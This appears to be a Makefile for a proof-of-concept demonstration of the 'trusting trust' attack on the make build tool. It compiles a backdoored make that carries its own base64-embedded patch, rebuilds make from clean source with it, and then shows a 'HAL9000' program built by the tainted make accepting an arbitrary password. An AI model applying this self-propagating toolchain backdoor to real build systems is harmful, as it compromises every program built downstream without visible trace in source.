TEMP!?=		mktemp -d /tmp/evil-XXXXXX
LEGIT_SRC=	/usr/src/usr.bin/make
LEGIT_BIN=	make-legit
BACKDOOR_SRC=	make-src-backdoor
BACKDOOR_BIN=	make-bin-backdoor
PATCH=		$(TEMP)/backdoor.patch
HALSRC=		HAL9000SRC
HAL=		./HAL9000
BACKDOORED_HAL=	./HAL9000-backdoored
PASS?!=		openssl rand 12 | base64

.PHONY: clean diff banner
.SILENT:

all: $(HAL) $(BACKDOORED_HAL)
	echo "\033[94m5 - Trying \033[3m$(HAL)\033[23m with\033[36m" $(PASS)
	echo $(PASS) | $(HAL) || true
	echo "\033[94m6 - Trying \033[3m$(BACKDOORED_HAL)\033[23m with\033[36m" $(PASS)
	echo $(PASS) | $(BACKDOORED_HAL)


banner: 
	echo "\033[95m\033[4m\033[3mTRUSTING-MAKE\033[0m"

$(LEGIT_BIN): banner
	echo "\033[94m0 - Compiling $@ with system make from legit source\033[0m"
	$(MAKE) -s -C $(LEGIT_SRC) clean
	$(MAKE) -s -C $(LEGIT_SRC)
	mv $(LEGIT_SRC)/make $@
	echo "\033[94m    make-legit = \033[3m$@\033[0m"

$(HAL): $(LEGIT_BIN)
	echo "\033[94m1 - Compiling HAL9000 with make-legit from legit source\033[0m"
	./$(LEGIT_BIN) -C $(HALSRC)
	cp $(HALSRC)/$(HAL) $@
	echo "\033[94m    HAL9000 = \033[3m$@\033[0m"
	$(MAKE) -C $(HALSRC) clean
	
$(BACKDOORED_HAL): $(BACKDOOR_BIN) $(HALSRC)
	sleep 1
	echo "\033[94m4 - Compiling HAL9000-backdoored with make-bin-backdoor from legit source\033[0m"
	@while ! ./$(BACKDOOR_BIN) -C $(HALSRC) 2> /dev/null; do true; done
	cp $(HALSRC)/$(HAL) $@
	echo "\033[94m    HAL9000-backdoored = \033[3m$@\033[0m"
	$(MAKE) -C $(HALSRC) clean

$(TEMP)/Makefile:
	cp -r $(LEGIT_SRC)/* $$(dirname $@)

$(PATCH): 
	diff -d engine.c $(LEGIT_SRC)/engine.c > $@ || true
	sed "s|__DIFF__|$$(cat $@ | base64 -e | tr -d '\n\r')|g" $@ > $@.1
	sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2
	sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3

$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile
	patch -d $(TEMP) -s -R engine.c $(PATCH).3
	$(MAKE) -C $(TEMP) -s clean
	echo "\033[94m2 - Compiling $@ with make-legit from evil source\033[0m"
	./$(LEGIT_BIN) -C $(TEMP) -s
	mv $(TEMP)/make $@
	echo "\033[94m    make with source backdoor = \033[3m$@\033[0m"

$(BACKDOOR_BIN): $(BACKDOOR_SRC)
	echo "\033[94m3 - Compiling $@ with make-src-backdoor from legit source\033[0m"
	$(MAKE) -C $(LEGIT_SRC) -s clean
	./$(BACKDOOR_SRC) -s -C $(LEGIT_SRC)
	mv $(LEGIT_SRC)/make $@
	echo "\033[94m    make with binary backdoor = \033[3m$@\033[0m"

diff:
	radiff2 -a x86 -A -d -D $(LEGIT_BIN) $(BACKDOOR_BIN)
	echo -n 'aaaa\npdf @sym.job_run_next\n' | radare2 $(BACKDOOR_BIN)

clean:
	rm -rf /tmp/evil-?????? $(HAL) $(BACKDOORED_HAL)
	$(MAKE) -C $(LEGIT_SRC) -s clean

